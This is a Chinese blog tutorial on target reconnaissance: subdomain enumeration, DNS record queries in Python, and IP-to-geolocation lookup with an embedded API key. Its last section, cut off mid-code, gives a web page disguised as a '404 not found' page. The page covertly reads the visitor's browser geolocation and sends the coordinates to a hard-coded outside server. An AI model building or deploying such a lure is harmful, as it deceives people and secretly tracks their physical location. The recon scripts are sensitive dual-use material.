子域名查询DNS记录查询

目录

子域名信息查询

Layer子域名爆破机

subDomainBrute

利用google查询

HTTP证书查询

DNS记录查询脚本

IP转换为经纬度

利用网页获取对方经纬度信息


首先关于DNS域名解析的一些知识,传送门——> DNS域名解析基础

了解了DNS解析的一些知识后,我们就可以开始我们的DNS探测了!

一些和域名查询相关的网站:

  • DNS查询:https://dnsdb.io/
  • 微步在线:https://x.threatbook.cn/ 
  • 在线域名信息查询:http://toolbar.netcraft.com/site_report?url=
  • DNS、IP等查询:http://viewdns.info/
  • CDN查询IP:https://tools.ipip.net/cdn.php 
  • SecurityTrails平台:https://securitytrails.com/domain/www.baidu.com/history/a

子域名信息查询

相关文章:论二级域名收集的各种姿势

查询子域名有三种方法:

  1. 通过爆破子域名进行查询,如 Layer子域名爆破机、subDomainBrute,在线子域名查询网站:https://phpinfo.me/domain/ 
  2. 通过查询DNS服务器,查询该域下的解析记录
  3. 通过HTTPS证书来查询(只适用于https网站) ,如:https://crt.sh/   就是通过https证书查询子域名
  4. 通过google查询

Layer子域名爆破机

Layer是windows下的一款子域名探测工具,其工作原理是利用子域名字典进行爆破,使用简单容易上手。

链接:  https://pan.baidu.com/s/1IS1QCeb6vPIpabBr3LBJ6w   提取码: w749 

subDomainBrute

subDomainBrute的特点是可以用小字典递归的发现三级域名、四级域名、甚至五级域名等不容易被探测到的域名。

  • 字典较为丰富,小字典就包括1万5千条,大字典多达6万3千条
  • 默认使用114DNS、百度DNS、阿里DNS这几个快速又可靠的Public DNS查询,可修改配置文件添加DNS服务器(在dict里面可以进行添加)
  • 自动去重泛解析的域名,当前规则: 超过2个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃

相关文章:子域名爆破工具subDomainsBrute

利用google查询

指定站点,然后-就是不包含这个,来查询

site:baidu.com -www

HTTP证书查询

证书透明度(Certificate Transparency)是证书授权机构的一个项目,证书授权机构会将每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址。查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。在线网站:https://crt.sh 

可以使用python脚本ct-exposer完成

DNS记录查询脚本


 
 
   
   
   
   
  1. # -*- coding: utf-8 -*-
  2. # python3.7环境
  3. """
  4. Created on Wed Apr 10 16:40:17 2019
  5. @author: 小谢
  6. """
  7. ##############################################################DNS域名记录查询脚本######################################################
  8. import dns.resolver
  9. domain=input( "请输入要查询的域名全拼(例如:www.baidu.com):") #网站子域名
  10. domainpart=[]
  11. num=domain.count( '.')
  12. part=domain.split( '.')
  13. for i in range(num):
  14. j=i+ 1
  15. domainpart.append(part[j])
  16. subdomain= ".".join(domainpart) #网站主域名
  17. print( "该网站主域名为:%s"%subdomain)
  18. #查询A记录
  19. A=dns.resolver.query(domain, 'A')
  20. print( "********************A记录********************")
  21. for i in A.response.answer:
  22. print(i)
  23. #查询CNAME记录
  24. try:
  25. CNAME=dns.resolver.query(domain, 'CNAME')
  26. print( "********************CNAME记录********************")
  27. for i in CNAME.response.answer:
  28. print(i)
  29. except:
  30. print( "--------------------该域名没有CNAME记录!!--------------------")
  31. #domain=input("请输入要查询的主域名(例如:baidu.com):")
  32. #查询MX记录
  33. try:
  34. MX=dns.resolver.query(subdomain, 'MX')
  35. print( "********************MX记录********************")
  36. for i in MX.response.answer:
  37. print(i)
  38. except:
  39. print( "--------------------该域名没有MX记录!!--------------------")
  40. #NS记录
  41. try:
  42. NS=dns.resolver.query(subdomain, 'NS')
  43. print( "********************NS记录********************")
  44. for i in NS.response.answer:
  45. print(i)
  46. except:
  47. print( "--------------------该域名没有NS记录!!--------------------")
  48. #SOA记录
  49. try:
  50. SOA=dns.resolver.query(subdomain, 'SOA')
  51. print( "********************SOA记录********************")
  52. for i in SOA.response.answer:
  53. print(i)
  54. except:
  55. print( "--------------------该域名没有SOA记录!!--------------------")
  56. #TXT记录
  57. try:
  58. TXT=dns.resolver.query(subdomain, 'TXT')
  59. print( "********************TXT记录********************")
  60. for i in TXT.response.answer:
  61. print(i)
  62. except:
  63. print( "--------------------该域名没有TXT记录!!--------------------")
  64. #SRV记录
  65. try:
  66. SRV=dns.resolver.query(domain, 'SRV')
  67. print( "********************SRV记录********************")
  68. for i in SRV.response.answer:
  69. print(i)
  70. except:
  71. print( "--------------------该域名没有SRV记录!!--------------------")
  72. #AAAA记录
  73. try:
  74. SRV=dns.resolver.query(domain, 'AAAA')
  75. print( "********************AAAA记录********************")
  76. for i in SRV.response.answer:
  77. print(i)
  78. except:
  79. print( "--------------------该域名没有AAAA记录!!--------------------")

IP转换为经纬度


 
 
   
   
   
   
  1. # -*- coding: utf-8 -*-
  2. # python2.7环境
  3. """
  4. Created on Wed Apr 10 16:50:26 2019
  5. @author: 小谢
  6. """
  7. #####################################################将ip转换为具体的经纬度城市信息#######################################################
  8. #返回数据格式链接: http://lbsyun.baidu.com/index.php?title=webapi/ip-api
  9. import urllib2
  10. import json
  11. ip = raw_input( "please your ip address:")
  12. url = "http://api.map.baidu.com/location/ip?ip=%s&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy&coor=bd09ll"%ip
  13. req = urllib2.Request(url)
  14. res_data = urllib2.urlopen(req)
  15. res = res_data.read().decode( "unicode-escape") # 转格式
  16. jsonaddress=json.loads(res)
  17. #print res
  18. print "城市:",jsonaddress[ 'content'][ 'address']
  19. print "省份:",jsonaddress[ 'content'][ 'address_detail'][ 'province']
  20. print "区县:",jsonaddress[ 'content'][ 'address_detail'][ 'district']
  21. print "街道:",jsonaddress[ 'content'][ 'address_detail'][ 'street']
  22. print "经纬度:",jsonaddress[ 'content'][ 'point'][ 'x'], ",",jsonaddress[ 'content'][ 'point'][ 'y']
  23. print "纬经度:",jsonaddress[ 'content'][ 'point'][ 'y'], ",",jsonaddress[ 'content'][ 'point'][ 'x']

经纬度街景地图:谷歌街景地图

只需要输入 纬度,经度,就可以看到定位的街景地图。

利用网页获取对方经纬度信息


 
 
   
   
   
   
  1. html>
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  6. <title>404 页面不存在 title>
  7. <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"> script>
  8. <script type="text/javascript" src="http://api.map.baidu.com/getscript?v=2.0&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy"> script>
  9. <script src="http://pv.sohu.com/cityjson?ie=utf-8"> script>
  10. <script>
  11. if(navigator.geolocation){ //如果当前浏览器支持定位
  12. navigator.geolocation.getCurrentPosition(getPositionSuccess, getPositionError);
  13. } else{
  14. console.log( "您的浏览器不支持自动定位!");
  15. }
  16. /***用户定位成功**/
  17. function getPositionSuccess(position){
  18. var lat = position.coords.latitude; //经度
  19. var lng = position.coords.longitude; //纬度
  20. var address= "";
  21. //通过baiduMap API获取街道名称
  22. var map = new BMap.Map( "allmap");
  23. var point = new BMap.Point(lng,lat);
  24. var gc = new BMap.Geocoder();
  25. gc.getLocation(point, function(rs){
  26. var addComp = rs.addressComponents;
  27. address = addComp.city + addComp.district + addComp.street + addComp.streetNumber; //城市区县街道街道号
  28. $( "#lng").attr( "value",lng); //经度
  29. $( "#lat").attr( "value",lat); //纬度
  30. url= "http://120.79.74.249:8080/?lng="+lat+ ","+lng; //将经纬度信息传给我们后台搭建的服务器
  31. var frame=$( "